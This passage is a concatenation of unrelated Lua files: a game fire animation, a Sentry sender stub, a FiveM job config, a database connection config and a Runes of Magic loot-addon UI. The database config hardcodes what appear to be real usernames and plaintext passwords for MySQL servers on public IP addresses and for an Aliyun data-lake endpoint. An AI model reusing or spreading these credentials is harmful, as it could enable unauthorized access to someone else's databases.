folder.") end end
local anim8 = require 'vendor/anim8' local app = require 'app' local Fire = {} Fire.__index = Fire Fire.isFire = true local image = love.graphics.newImage('images/fire.png') image:setFilter('nearest', 'nearest') local g = anim8.newGrid(25, 25, image:getWidth(), image:getHeight()) local states = { burning = anim8.newAnimation('loop', g('1-8,1'), 0.25) } --- -- Creates a new Fire object -- @param parent the parent node that the fire are added to function Fire.new(tile) local fire = {} setmetatable(fire, Fire) fire.state = 'burning' fire.x = tile.x + math.random((tile.width / 2) * -1, (tile.width / 2)) fire.y = tile.y + math.random(0, -5) return fire end function Fire:update(dt) states[self.state]:update(dt) end function Fire:draw() states[self.state]:draw(image, self.x, self.y) end return Fire
--[[ --MIT License -- --Copyright (c) 2019 manilarome --Copyright (c) 2020 Tom Meyers -- --Permission is hereby granted, free of charge, to any person obtaining a copy --of this software and associated documentation files (the "Software"), to deal --in the Software without restriction, including without limitation the rights --to use, copy, modify, merge, publish, distribute, sublicense, and/or sell --copies of the Software, and to permit persons to whom the Software is --furnished to do so, subject to the following conditions: -- --The above copyright notice and this permission notice shall be included in all --copies or substantial portions of the Software. -- --THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR --IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, --FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE --AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER --LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, --OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE --SOFTWARE. ]] -- vim: st=4 sts=4 sw=4 et: --- Sender object specification. -- A Lua has a disparate ecosystem of networking libraries, this makes difficult -- doing a one-size-fits-all library. Lua-TDE does as much logic as possible -- in a generic way, relying on a *sender* object to send the actual payload to -- the Sentry server. -- -- This module only contains documentation, it does not implement an actual -- sender. -- -- @module TDE.senders.reference -- @copyright 2014-2017 CloudFlare, Inc. -- @license BSD 3-clause (see LICENSE file) --- A sender object can be a table or a userdata. -- I must contain all the logic to locate the server and send the data to it. -- Notably, the core TDE object has no idea of the URL of the server, the -- sender object must be able to build it by itself. -- -- You can use the @{TDE.util.parse_dsn} function to process DSN strings. -- -- @type Sender --- The `send` method is called whenever a message must be sent to the Sentry -- server. The authentication header can be generated with -- @{TDE.util.generate_auth_header}. -- -- @param json_str Request payload as a serialized string (it must be sent -- verbatim, the sender should **not** try to alter it in any way) -- @return[1] `true` when the payload has been sent successfully -- @return[2] `nil` in case of error -- @return[2] error message (will be logged) -- @function Sender:send return
Config = {} Config.DrawDistance = 100.0 Config.MarkerColor = { r = 50, g = 50, b = 204 } Config.EnablePlayerManagement = true Config.EnableVaultManagement = false Config.EnableSocietyOwnedVehicles = false Config.EnableHelicopters = false Config.EnableMoneyWash = false Config.MaxInService = -1 Config.Locale = 'fr' Config.AuthorizedVehicles = { { name = 'rumpo', label = 'Van Informer' }, } Config.Blips = { Blip = { Pos = { x = -1087.048, y = -249.330, z = 36.947}, Sprite = 184, Display = 3, Scale = 0.9, Colour = 0, } } Config.Zones = { BossActions = { Pos = { x = -1053.683, y = -230.554, z = 43.020 }, Size = { x = 1.5, y = 1.5, z = 1.0 }, Color = { r = 50, g = 50, b = 204 }, Type = 1, }, Cloakrooms = { Pos = { x = -1068.600, y = -241.440, z = 38.833}, Size = { x = 1.5, y = 1.5, z = 1.0 }, Color = { r = 50, g = 50, b = 204 }, Type = 1, }, Vehicles = { Pos = { x = -1095.294, y = -255.858, z = 36.812 }, SpawnPoint = { x = -1099.061, y = -265.882, z = 37.692}, Size = { x = 1.8, y = 1.8, z = 1.0 }, Color = { r = 50, g = 50, b = 204 }, Type = 1, Heading = 207.43, }, VehicleDeleters = { Pos = { x = -1102.436, y = -255.600, z = 36.292}, Size = { x = 4.0, y = 4.0, z = 2.0 }, Color = { r = 50, g = 50, b = 204 }, Type = 1 }, } Config.Uniforms = { journaliste_outfit = { male = { ['tshirt_1'] = 15, ['tshirt_2'] = 0, ['torso_1'] = 111, ['torso_2'] = 1, ['decals_1'] = 0, ['decals_2'] = 0, ['arms'] = 4, ['pants_1'] = 13, ['pants_2'] = 0, ['shoes_1'] = 57, ['shoes_2'] = 10, ['chain_1'] = 0, ['chain_2'] = 0 }, female = { ['tshirt_1'] = 14, ['tshirt_2'] = 0, ['torso_1'] = 27, ['torso_2'] = 0, ['decals_1'] = 0, ['decals_2'] = 0, ['arms'] = 0, ['pants_1'] = 0, ['pants_2'] = 8, ['shoes_1'] = 3, ['shoes_2'] = 2, ['chain_1'] = 2, ['chain_2'] = 1 } }, journaliste_outfit_1 = { male = { ['tshirt_1'] = 6, ['tshirt_2'] = 1, ['torso_1'] = 25, ['torso_2'] = 3, ['decals_1'] = 8, ['decals_2'] = 0, ['arms'] = 11, ['pants_1'] = 13, ['pants_2'] = 0, ['shoes_1'] = 51, ['shoes_2'] = 1, ['chain_1'] = 24, ['chain_2'] = 5 }, female = { ['glasses_1'] = 5, ['glasses_2'] = 0, ['tshirt_1'] = 24, ['tshirt_2'] = 0, ['torso_1'] = 28, ['torso_2'] = 4, ['decals_1'] = 0, ['decals_2'] = 0, ['arms'] = 0, ['pants_1'] = 6, ['pants_2'] = 0, ['shoes_1'] = 13, ['shoes_2'] = 0, ['chain_1'] = 0, ['chain_2'] = 0 } }, journaliste_outfit_2 = { male = { ['tshirt_1'] = 33, ['tshirt_2'] = 0, ['torso_1'] = 77, ['torso_2'] = 1, ['decals_1'] = 8, ['decals_2'] = 0, ['arms'] = 11, ['pants_1'] = 13, ['pants_2'] = 0, ['shoes_1'] = 51, ['shoes_2'] = 1, ['chain_1'] = 27, ['chain_2'] = 5 }, female = { ['glasses_1'] = 5, ['glasses_2'] = 0, ['tshirt_1'] = 40, ['tshirt_2'] = 7, ['torso_1'] = 64, ['torso_2'] = 1, ['decals_1'] = 0, ['decals_2'] = 0, ['arms'] = 0, ['pants_1'] = 6, ['pants_2'] = 0, ['shoes_1'] = 13, ['shoes_2'] = 0, ['chain_1'] = 0, ['chain_2'] = 0 } }, journaliste_outfit_3 = { male = { ['tshirt_1'] = 33, ['tshirt_2'] = 0, ['torso_1'] = 31, ['torso_2'] = 0, ['decals_1'] = 0, ['decals_2'] = 0, ['arms'] = 4, ['pants_1'] = 10, ['pants_2'] = 0, ['shoes_1'] = 10, ['shoes_2'] = 0, ['chain_1'] = 27, ['chain_2'] = 5 }, female = { ['glasses_1'] = 5, ['glasses_2'] = 0, ['tshirt_1'] = 20, ['tshirt_2'] = 2, ['torso_1'] = 24, ['torso_2'] = 3, ['decals_1'] = 0, ['decals_2'] = 0, ['arms'] = 5, ['pants_1'] = 6, ['pants_2'] = 0, ['shoes_1'] = 13, ['shoes_2'] = 0, ['chain_1'] = 0, ['chain_2'] = 0 } } }
local conf = {} conf.redis = { ["pubsub"] = { host = "127.0.0.1", port = 6379, }, ["single"] = { host = "127.0.0.1", port = 6379, }, [1] = { host = "127.0.0.1", port = 6379, }, [2] = { host = "192.168.82.164", port = 6379, }, } conf.mysql = { trans = { host = "192.168.82.138", port = "3306", database = "Zipai", user = "root", password = "123", max_packet_size = 10 * 1024 * 1024, }, export = { host = "192.168.82.138", port = "3306", database = "Zipai", user = "root", password = "123", max_packet_size = 10 * 1024 * 1024, type = 0, }, localhost = { host = "192.168.82.101", port = "3306", database = "Zipai", user = "root", password = "123", type = 0, max_packet_size = 10 * 1024 * 1024, }, ["dla2017"] = { host = "1475177020277729-73404573.cn-shenzhen.datalakeanalytics.aliyuncs.com", port = "10000", database = "oss_gamelog2017", user = "qinyanhong_s1475177020277729", password = "wQOsikfKJLctvn1ctc", type = 1, max_packet_size = 100 * 1024 * 1024, }, ["dla2018"] = { host = "1475177020277729-73404573.cn-shenzhen.datalakeanalytics.aliyuncs.com", port = "10000", database = "oss_gamelog2018", user = "qinyanhong_s1475177020277729", password = "wQOsikfKJLctvn1ctc", type = 1, max_packet_size = 100 * 1024 * 1024, }, ["dla2019"] = { host = "1475177020277729-73404573.cn-shenzhen.datalakeanalytics.aliyuncs.com", port = "10000", database = "oss_gamelog2019", user = "qinyanhong_s1475177020277729", password = "wQOsikfKJLctvn1ctc", type = 1, max_packet_size = 100 * 1024 * 1024, }, --[[ ["2017_118"] = { host = "47.112.252.58", port = "3306", database = "Zipai", user = "qyh_2019_db_user", password = "qS6.WaQr0nZv0*&G", type = 1, max_packet_size = 10 * 1024 * 1024, }, ["2017_115"] = { host = "47.115.47.54", port = "3306", database = "GameLog", user = "qyh_2019_db_user", password = "qS6.WaQr0nZv0*&G", type = 1, max_packet_size = 10 * 1024 * 1024, }, ["2018_118"] = { host = "8.129.15.148", port = "3306", database = "Zipai", user = "qyh_2019_db_user", password = "qS6.WaQr0nZv0*&G", type = 1, max_packet_size = 10 * 1024 * 1024, }, ["2018_115"] = { host = "47.115.124.181", port = "3306", database = "GameLog", user = "qyh_2019_db_user", password = "qS6.WaQr0nZv0*&G", type = 1, max_packet_size = 10 * 1024 * 1024, }, ]] ["2019_118"] = { host = "120.79.9.214", port = "3306", database = "Zipai", user = "qyh_2019_db_user", password = "qS6.WaQr0nZv0*&G", type = 1, max_packet_size = 10 * 1024 * 1024, }, ["2019_115"] = { host = "120.77.178.144", port = "3306", database = "GameLog", user = "qyh_2019_db_user", password = "qS6.WaQr0nZv0*&G", type = 1, max_packet_size = 10 * 1024 * 1024, }, } conf.mysqldb_name = {} for k,v in pairs(conf.mysql) do conf.mysqldb_name[k] = k end return conf
local Immutable = require(script.Parent.Parent.Immutable) local DataStoresUpdateSearchFilter = require(script.Parent.Parent.Actions.DataStoresUpdateSearchFilter) return function(state, action) local dataStoresData = state or { storesSearchTerm = "", } if action.type == DataStoresUpdateSearchFilter.name then return Immutable.Set(dataStoresData, "storesSearchTerm", action.searchTerm) end return dataStoresData end
--/run dofile("interface/addons/DungeonLoots/lua/ui.lua") local me = DL.ui function me.OnUpdate() if me.update then if me.update + 0.2 < GetTime() then me.FilterList() me.update = nil end end end function me.Init() me.InitTabs() me.InitFrames() me.LoadData() DL.plus.Init(DL.tbls.items) end ------------------------------------------------------- --------------- Load Data function -------------------- ------------------------------------------------------- function me.LoadData() for name, b in pairs(DL.tbls) do if name ~= "items" then local fn, err = loadfile("interface/addons/DungeonLoots/db/"..name..".lua") if fn then DL.tbls[name] = fn() end if err then print(err) end end end DL.tbls.items = {} for a,b in pairs(DL.tbls.armor) do DL.tbls.items[a]={rarity=GetQualityByGUID(a),name = DL.helper.GetName(a), level = b[2],pos = b[1]} end for a,b in pairs(DL.tbls.weapon) do DL.tbls.items[a]={rarity=GetQualityByGUID(a),name = DL.helper.GetName(a), level = b[2],pos = b[1]} end end ------------------------------------------------------- --------------- Scrollbar funtions -------------------- ------------------------------------------------------- function me.Scroll(this, delta) if (delta > 0) then this:SetValue(this:GetValue() - 2); elseif (delta < 0) then this:SetValue(this:GetValue() + 2); end; end; function me.OnValueChanged(this) local min, max = this:GetMinMaxValues() DL_main_frame_ScrollBarScrollDownButton:Enable() DL_main_frame_ScrollBarScrollUpButton:Enable() if this:GetValue() == min then DL_main_frame_ScrollBarScrollUpButton:Disable() end if this:GetValue() == max then DL_main_frame_ScrollBarScrollDownButton:Disable() end me.RedrawList() me.ShowHighlight() end ------------------------------------------------------- ----------------- List function ----------------------- ------------------------------------------------------- function me.OnEnter(this, id, override) if id == nil then return end local tt = GameTooltip if override then tt = DLTooltip else tt:ClearAllAnchors(); tt:SetAnchor("CENTER", "CENTER", this:GetName(), 2, 0); tt:SetOwner(this, "ANCHOR_BOTTOMRIGHT", 0, 0); end tt:Hide(); if id <= 200000 then local txt,tbl,tooltip = "", {}, nil if me.listtype == 3 then -- sufu txt,tbl, tooltip = DL.helper.GetSearchTooltip(id) if tooltip then tt:SetHyperLink(("|Hitem:%x|h|h"):format(tooltip)); tt:AddSeparator() tt:AddLine(txt) end elseif me.listtype == 1 then -- Bosslist if me.listid == 1 then -- bosses txt,tbl = DL.helper.GetBossTooltip(id) end elseif me.listtype == 0 then -- instancelist if me.listid == 0 then -- instances txt,tbl = DL.helper.GetInstanceTooltip(id) elseif me.listid == 1 then -- bosses txt,tbl = DL.helper.GetBossTooltip(id, true, me.instanceid) end end if not (me.listtype == 3 and tooltip) then tt:SetText(txt); end for i=1,#tbl do if tbl[i] == "<SEP>" then tt:AddSeparator() else tt:AddLine(tbl[i]) end end elseif id >= 510000 and id < 520000 then local link = string.format("%x 1 0 %04x 0 0 0 0 0 0 0", 202840, id - 500000) -- Manastein local hash = DL.plus.CalculateItemLinkHash(link) link = string.format("|Hitem:%s %x|htest|h", link, hash) tt:SetHyperLink(link) else tt:SetHyperLink(("|Hitem:%x|h|h"):format(id)); end local r, g, b = GetItemQualityColor(GetQualityByGUID(id)) tt:AddLine(string.format("|cff%02x%02x%02xID: %d", r*0xff, g*0xff, b*0xff, id)) GameTooltip1:Hide() GameTooltip2:Hide() end function me.HeaderOnEnter(this, id) if me.listid <= 0 then GameTooltip:SetOwner(this, "ANCHOR_BOTTOMRIGHT", 0, 0); GameTooltip:SetText(DL.lang.ChangeSortOrder) if not DL_Settings.SortByName then GameTooltip:AddLine(string.format(DL.lang.InstanceOrder, TEXT("C_NAME"))) else GameTooltip:AddLine(string.format(DL.lang.InstanceOrder, TEXT("C_LEVEL"))) end GameTooltip:AddLine(this:GetText()) GameTooltip:Show(); end end function me.SetHeaderText() if me.listtype == 3 then DL_main_frame_list_Button0:SetText(DL.lang.SearchList) else if me.listtype == 0 then DL_main_frame_list_Button0:SetText(DL.lang.InstanceList) elseif me.listtype == 1 then DL_main_frame_list_Button0:SetText(DL.lang.BossList) elseif me.listtype == 2 then DL_main_frame_list_Button0:SetText(DL.lang.ItemList) elseif me.listtype == 4 then DL_main_frame_list_Button0:SetText(DL.lang.TreasureList) end local txt = nil if me.instanceid then txt = GetZoneLocalName( me.instanceid ) end if me.bossid then if txt then txt = txt .. ": " end txt = string.format("%s%s", txt or "", TEXT("Sys"..me.bossid .."_name") or "") end if me.itemid then txt = string.format("%s (%d)", TEXT("Sys"..me.itemid .."_name"), me.itemid) end if txt then DL_main_frame_list_Button0:SetText(txt) end end end --/run print(DL.ui.listtype..DL.ui.listid ) function me.OnClick(id, this, key, double) local old_listid = me.listid if key == "LBUTTON" then local itemLink = nil local r, g, b = GetItemQualityColor(GetQualityByGUID(this.id)) if me.listtype == 3 then -- sufu DL.helper.OnSearchResultClick(this.id, key, double) elseif me.listtype == 1 or me.listtype == 0 or me.listtype == 2 or me.listtype==4 then -- Bosslist / instancelist / Itemlist /treasurelist if me.listid == 0 then -- instances if IsAltKeyDown() then -- ShowOnMap DL.worldmap.Show(this.id, nil) return end me.instanceid = this.id; DL_main_frameSearch:SetText("") elseif me.listid == 1 then -- bosses if IsAltKeyDown() then -- ShowOnMap if IsCtrlKeyDown() then GC_OpenWebRadio("http://www.rom-welten.de/database/view.php?id="..this.id) return end DL.worldmap.Show(me.instanceid, this.id) return end if (not IsCtrlKeyDown() and not IsShiftKeyDown()) then me.bossid = this.id end itemLink = string.format("|Hnpc:%d|h|cffffffff[%s]|r|h", this.id, DL.helper.GetName(this.id) ) DL_main_frameSearch:SetText("") elseif me.listid == 2 then -- items if IsCtrlKeyDown() and IsAltKeyDown() then GC_OpenWebRadio("http://www.rom-welten.de/database/view.php?id="..this.id) return end if double then if DL.tbls.armor[this.id] or DL.tbls.weapon[this.id] then me.itemid = this.id else me.itemid = nil end else if not DL.tbls.treasure[this.id] then itemLink = string.format("|Hitem:%x|h|cff%02x%02x%02x[%s]|r|h", this.id, r*0xFF, g*0xFF, b*0xFF, DL.helper.GetName(this.id)) me.ListSelect = this.id end end DL_main_frameSearch:SetText("") elseif me.listid == 3 then -- stats -- do nothing end if not itemLink or (not IsCtrlKeyDown() and not IsShiftKeyDown()) then if me.listid < 2 or (me.listid==2 and me.itemid and me.itemid == this.id) then me.listid = me.listid + 1 end end end if itemLink then if( IsShiftKeyDown() ) then if( ITEMLINK_EDITBOX )then ChatEdit_AddItemLink( itemLink ); return; end elseif( IsCtrlKeyDown() ) then if this.id < 200000 then DL_PreviewFrame:Show() DL_PreviewFrameModel:SetModel(this.id) else ItemPreviewFrame_SetItemLink(DL_PreviewFrame, itemLink ); me.ChangeModel(this.id) end end end elseif key == "RBUTTON" then if me.listtype == 3 then -- sufu -- do nothing else me.ListSelect = nil if me.listid <= 0 then DL_Settings.SortByName = not DL_Settings.SortByName me.FilterList() elseif me.listid <= 1 then me.instanceid = nil; elseif me.listid <= 2 then me.bossid = nil; elseif me.listid <= 3 then me.itemid = nil; end DL_main_frameSearch:SetText("") local listtype = me.listtype if listtype ==4 then listtype = 1 end if me.listid > listtype then me.listid = me.listid - 1 end end end if me.listid==old_listid then me.ShowHighlight() return else me.ListSelect = nil end me.ShowHighlight() me.SetHeaderText() me.FilterList() end ----------------- change functions -------------------- function me.ShowHighlight() DL_main_frame_list_Highlight:Hide(); if me.listtype == 3 then if (me.ListSelectSearch ~= nil) then for i = 1, 20 do if _G["DL_main_frame_list_Button" .. i].id == me.ListSelectSearch then DL_main_frame_list_Highlight:ClearAllAnchors(); DL_main_frame_list_Highlight:SetAnchor("TOPLEFT", "TOPLEFT", DL_main_frame_list, 5, 20 + (i - 1)*20); DL_main_frame_list_Highlight:SetAnchor("BOTTOMRIGHT", "TOPRIGHT", DL_main_frame_list, - 5, 40 + (i - 1)*20); DL_main_frame_list_Highlight:Show(); end end end else if (me.ListSelect ~= nil) then for i = 1, 20 do if _G["DL_main_frame_list_Button" .. i].id == me.ListSelect then DL_main_frame_list_Highlight:ClearAllAnchors(); DL_main_frame_list_Highlight:SetAnchor("TOPLEFT", "TOPLEFT", DL_main_frame_list, 5, 20 + (i - 1)*20); DL_main_frame_list_Highlight:SetAnchor("BOTTOMRIGHT", "TOPRIGHT", DL_main_frame_list, - 5, 40 + (i - 1)*20); DL_main_frame_list_Highlight:Show(); end end end end end local function FilterName(id, txt) local name_id_search = string.lower(DL_main_frameSearch:GetText()) if string.match(string.lower(txt), name_id_search) then --Clientname search return true end if string.match(id, name_id_search) then -- id search return true end return false end function me.FilterList() local lst = {} -- /run DL.ui.listtype = 4;DL.ui.FilterList() if me.listtype == 4 then if me.listid == 1 then --treasurelist "boss" (hidden) for a,b in pairs(DL.tbls.treasure) do table.insert(lst, DL.helper.GetNameRarityByID(a)) end local function fn(v1,v2) if v1.id < v2.id then return true end end table.sort(lst,fn) elseif me.listid == 2 then -- itemlist lst = DL.helper.GetBossLootSortedValues(me.bossid) elseif me.listid == 3 then -- stats lst = DL.helper.GetItemValues(me.itemid) end elseif me.listtype == 3 then -- sufu lst = DL.helper.GetSearchValues(DL.search.onlyinstance) elseif me.listtype == 2 then -- itemlist if me.listid == 2 then -- items for a,b in pairs(DL.tbls.armor) do table.insert(lst, DL.helper.GetNameRarityByID(a)) end for a,b in pairs(DL.tbls.weapon) do table.insert(lst, DL.helper.GetNameRarityByID(a)) end local function fn(v1,v2) if v1.id < v2.id then return true end end table.sort(lst,fn) elseif me.listid == 3 then -- stats lst = DL.helper.GetItemValues(me.itemid) end elseif me.listtype == 1 then -- Bosslist if me.listid == 1 then -- bosses for a,b in pairs(DL.tbls.npc) do table.insert(lst, DL.helper.GetNameRarityByID(a)) end local function fn(v1,v2) if v1.id < v2.id then return true end end table.sort(lst,fn) elseif me.listid == 2 then -- items lst = DL.helper.GetBossLootSortedValues(me.bossid) elseif me.listid == 3 then -- stats lst = DL.helper.GetItemValues(me.itemid) end elseif me.listtype == 0 then -- instancelist if me.listid == 0 then -- instances for a,b in pairs(DL.tbls.instance) do table.insert(lst, DL.helper.GetInstanceValues(a)) end local function fn(v1,v2) if not DL_Settings.SortByName then if v1.level > v2.level then return true elseif v1.level == v2.level then if v1.id > v2.id then return true end end else if v1.text < v2.text then return true end end end table.sort(lst,fn) elseif me.listid == 1 then -- bosses for i=1, #DL.tbls.instance[me.instanceid].boss do local boss = DL.tbls.instance[me.instanceid].boss[i] table.insert(lst, DL.helper.GetBossValues(boss.id, true, boss)) end elseif me.listid == 2 then -- items lst = DL.helper.GetBossLootSortedValues(me.bossid) elseif me.listid == 3 then -- stats lst = DL.helper.GetItemValues(me.itemid) end end me.FilteredList = {} --reset list for i=1,#lst do if FilterName(lst[i].id,lst[i].text) then table.insert(me.FilteredList,lst[i]) end end me.ShowHighlight() DL.ui.RedrawList() end function me.RedrawList() local tbl = me.FilteredList local maxval = #tbl - 20 + 1 if (maxval < 1) then maxval = 1; end; DL_main_frame_ScrollBar:SetMinMaxValues(1, maxval); local val = DL_main_frame_ScrollBar:GetValue(); for i = 1, 20 do local index = i + val - 1; if tbl[index] then _G["DL_main_frame_list_Button" .. i .. "_txt"]:SetColor(tbl[index].r, tbl[index].g, tbl[index].b) _G["DL_main_frame_list_Button" .. i .. "_txt"]:SetText(tbl[index].text) _G["DL_main_frame_list_Button" .. i].id = tbl[index].id _G["DL_main_frame_list_Button" .. i]:Show() else _G["DL_main_frame_list_Button" .. i]:Hide() _G["DL_main_frame_list_Button" .. i].id = nil end end end function me.CurrentInstanceBossButtonOnClick(zone, boss) local zid = GetZoneID() % 1000 if zone then if DL.tbls.instance[zid] then DL.helper.ShowInDL(zid, nil, nil) end end if boss then local tgt = UnitName("target") if tgt then if DL.tbls.instance[zid] then for num, boss in pairs(DL.tbls.instance[zid].boss) do if TEXT("Sys"..boss.id.."_name") == tgt then DL.helper.ShowInDL(zid, boss.id, nil) return end if boss.id2 then for i=1,#boss.id2 do if TEXT("Sys"..boss.id2[i].id.."_name") == tgt then DL.helper.ShowInDL(zid, boss.id, nil) return end end end end end DL.search.Search(tgt,true, false,true,false,false) me.SetListType(3) me.SetChangerText() me.SetHeaderText() me.FilterList() me.ShowHighlight() return end if DL.tbls.instance[zid] then DL.helper.ShowInDL(zid, nil, nil) end end end local change_buttons = { "DL_adv_frame_search_Instance", "DL_adv_frame_search_Boss", "DL_adv_frame_search_Items", "DL_adv_frame_search_Search", "DL_adv_frame_search_Treasure", } function me.SetListType(typ) if typ == me.listtype then return end DL_main_frameSearch:SetText("") me.ListSelect = nil me.ListSelectSearch = nil if me.listtype==4 then me.listtype = 1 end -- treasure workaround if me.listtype <= 0 then me.instanceid = nil end if me.listtype <= 1 then me.bossid = nil end if me.listtype <= 2 then me.itemid = nil end for i=1,#change_buttons do if i==typ+1 then _G[change_buttons[i]]:Disable() else _G[change_buttons[i]]:Enable() end end me.listtype = typ if typ == 4 then typ=1 end --treasure workaround me.listid = typ end ------------------------------------------------------------------------- ------------------------------- Advanced UI ----------------------------- ------------------------------------------------------------------------- function me.InitTabs() local maintabs = { {text = TEXT("SOCIAL_SEARCH_PLAYER"), frame = "DL_adv_frame_search", visibleOnShow = true }, {text = DL.lang.TabTier, frame = "DL_adv_frame_plus"}, {text = TEXT("CLOSE"), func = loadstring("ToggleUIFrame(DL_adv_frame)")}, } DL_button_SetTab(DL_adv_frame_tabHeader, maintabs) end function me.InitFrames() me.SetListType(0) me.SetHeaderText() DL_main_frame_MoreButton:SetText(DL.lang.MoreButton) DL_main_frame_info:SetText(string.format(DL.lang.Version, DL.name, DL.version)) DL_main_frame_list_Button0.func = function () me.OnClick(0, 0, "RBUTTON", false) end DL_main_frame_list_Button0.ttfunc = function (this, id) me.HeaderOnEnter(this, id) end me.OnClick(0, 0, "RBUTTON", false) -- Search Frame --------------------------------------- DL_adv_frame_search_CUR_INSTANCE:SetText(DL.lang.ShowInstance) DL_adv_frame_search_CUR_Boss:SetText(DL.lang.ShowBoss) DL_adv_frame_search_Instance:SetText(DL.lang.InstanceList) DL_adv_frame_search_Boss:SetText(DL.lang.BossList) DL_adv_frame_search_Items:SetText(DL.lang.ItemList) DL_adv_frame_search_Treasure:SetText(DL.lang.TreasureList) DL_adv_frame_search_ColorhelmetDesc:SetText(TEXT(string.format("SYS_EQWEARPOS_%02i", 0))) DL_adv_frame_search_ColortorsoDesc:SetText(TEXT(string.format("SYS_EQWEARPOS_%02i", 3))) DL_adv_frame_search_ColorbeltDesc:SetText(TEXT(string.format("SYS_EQWEARPOS_%02i", 6))) DL_adv_frame_search_ColorlegDesc:SetText(TEXT(string.format("SYS_EQWEARPOS_%02i", 4))) DL_adv_frame_search_ColorshoulderDesc:SetText(TEXT(string.format("SYS_EQWEARPOS_%02i", 7))) DL_adv_frame_search_ColorhandDesc:SetText(TEXT(string.format("SYS_EQWEARPOS_%02i", 1))) DL_adv_frame_search_ColorfootDesc:SetText(TEXT(string.format("SYS_EQWEARPOS_%02i", 2))) DL_adv_frame_search_ColorbackDesc:SetText(TEXT(string.format("SYS_EQWEARPOS_%02i", 5))) DL_adv_frame_search_OPPOSITE_SEX:SetText(DL.lang.OtherSex) DL_adv_frame_search_SEX:SetText(TEXT("SEX")) ---------------------------- DL_adv_frame_search_Search:SetText(DL.lang.SearchList) DL_adv_frame_search_search_Edit_layer:SetText(TEXT("C_SEARCH")..":") DL_adv_frame_search_search_boss_Label:SetText(DL.lang.SearchBoss) DL_adv_frame_search_search_instance_Label:SetText(DL.lang.SearchInstance) DL_adv_frame_search_search_item_Label:SetText(DL.lang.SearchItem) DL_adv_frame_search_search_treasure_Label:SetText(DL.lang.SearchTreasure) DL_adv_frame_search_search_bossinstance_Label:SetText(DL.lang.BossInstance) DL_adv_frame_search_search_onlyinstance_Label:SetText(DL.lang.OnlyInstance) DL_adv_frame_search_search_boss:SetChecked(DL.search.boss) DL_adv_frame_search_search_instance:SetChecked(DL.search.instance) DL_adv_frame_search_search_item:SetChecked(DL.search.item) DL_adv_frame_search_search_treasure:SetChecked(DL.search.treasure) DL_adv_frame_search_search_bossinstance:SetChecked(DL.search.bossinstance) DL_adv_frame_search_search_onlyinstance:SetChecked(DL.search.onlyinstance) -- Plus Frame --------------------------------------- DL_adv_frame_plus_PLUS_layer:SetText(DL.lang.Itemplus) DL_adv_frame_plus_TIER_layer:SetText(TEXT("_glossary_00703") .. ":") DL_adv_frame_plus_DURA_layer:SetText(TEXT("SYS_ITEM_DURABLE")) DL_adv_frame_plus_DURA_Edit:SetText(120) DL_adv_frame_plus_RARITY_layer:SetText(DL.lang.Rarity) DL_adv_frame_plus_STAT1_layer:SetText(string.format(DL.lang.Stat, 1)) DL_adv_frame_plus_STAT2_layer:SetText(string.format(DL.lang.Stat, 2)) DL_adv_frame_plus_STAT3_layer:SetText(string.format(DL.lang.Stat, 3)) DL_adv_frame_plus_STAT4_layer:SetText(string.format(DL.lang.Stat, 4)) DL_adv_frame_plus_STAT5_layer:SetText(string.format(DL.lang.Stat, 5)) DL_adv_frame_plus_STAT6_layer:SetText(string.format(DL.lang.Stat, 6)) DL_adv_frame_plus_RUNE1_layer:SetText(string.format(DL.lang.Rune, 1)) DL_adv_frame_plus_RUNE2_layer:SetText(string.format(DL.lang.Rune, 2)) DL_adv_frame_plus_RUNE3_layer:SetText(string.format(DL.lang.Rune, 3)) DL_adv_frame_plus_RUNE4_layer:SetText(string.format(DL.lang.Rune, 4)) DL_adv_frame_plus_bind_Label:SetText(TEXT("SOULBOUND_SOULBOUND")) DL_adv_frame_plus_bind.tooltip = TEXT("SOULBOUND_SOULBOUND") DL_adv_frame_plus_eqbind_Label:SetText(TEXT("SOULBOUND_EQUIP")) DL_adv_frame_plus_eqbind.tooltip = TEXT("SOULBOUND_EQUIP") DL_adv_frame_plus_locked_Label:SetText(TEXT("TOOLTIP_LOCKED_ITEM")) DL_adv_frame_plus_locked.tooltip = TEXT("TOOLTIP_LOCKED_ITEM") DL_adv_frame_plus_itemprotect_Label:SetText(TEXT("SYS_ITEM_PROTECT")) DL_adv_frame_plus_itemprotect.tooltip = TEXT("SYS_ITEM_PROTECT") DL_adv_frame_plus_pkprotect_Label:SetText(TEXT("SYS_PKPROTECT")) DL_adv_frame_plus_pkprotect.tooltip = TEXT("SYS_PKPROTECT") DL_adv_frame_plus_suitskillextracted_Label:SetText(TEXT("SYS_SUITSKILL_LOCKED")) DL_adv_frame_plus_suitskillextracted.tooltip = TEXT("SYS_SUITSKILL_LOCKED") DL_adv_frame_plus_GO:SetText(DL.lang.StartPlus) end function me.SetChangerText() me.ListSelect = nil me.ListSelectSearch = nil me.SetHeaderText() me.FilterList() me.ShowHighlight() end function me.StartSearchOnClick() local searchtxt = DL_adv_frame_search_search_Edit_Edit:GetText() if string.len(string.gsub(searchtxt," ","")) < 5 then SendWarningMsg(string.format(DL.lang.SearchMinLength, 5)) return end DL.search.Search(searchtxt) DL_main_frameSearch:SetText("") me.SetListType(3) me.SetHeaderText() me.FilterList() me.ShowHighlight() me.SetChangerText() end -- Model/Colorpicker local ModelParts = { --slotid=[slotname, itemid, r, g, b, r, g, b], [0] = {"helmet", nil, nil, nil, nil, nil, nil, nil}, [1] = {"hand", nil, nil, nil, nil, nil, nil, nil}, [2] = {"foot", nil, nil, nil, nil, nil, nil, nil}, [3] = {"torso", nil, nil, nil, nil, nil, nil, nil}, [4] = {"leg", nil, nil, nil, nil, nil, nil, nil}, [5] = {"back", nil, nil, nil, nil, nil, nil, nil}, [6] = {"belt", nil, nil, nil, nil, nil, nil, nil}, [7] = {"shoulder", nil, nil, nil, nil, nil, nil, nil}, } function me.ChangeModel(id) if DL.tbls.items[id] then if DL.tbls.items[id].pos then local pos = DL.tbls.items[id].pos local pos = 0 if ModelParts[pos] then if id ~= ModelParts[pos][2] then local part = ModelParts[pos][1] ModelParts[pos] = {part, id, nil, nil, nil, nil, nil, nil} _G["DL_adv_frame_search_Color" .. part .. "c1Block"]:SetColor(1, 1, 1) 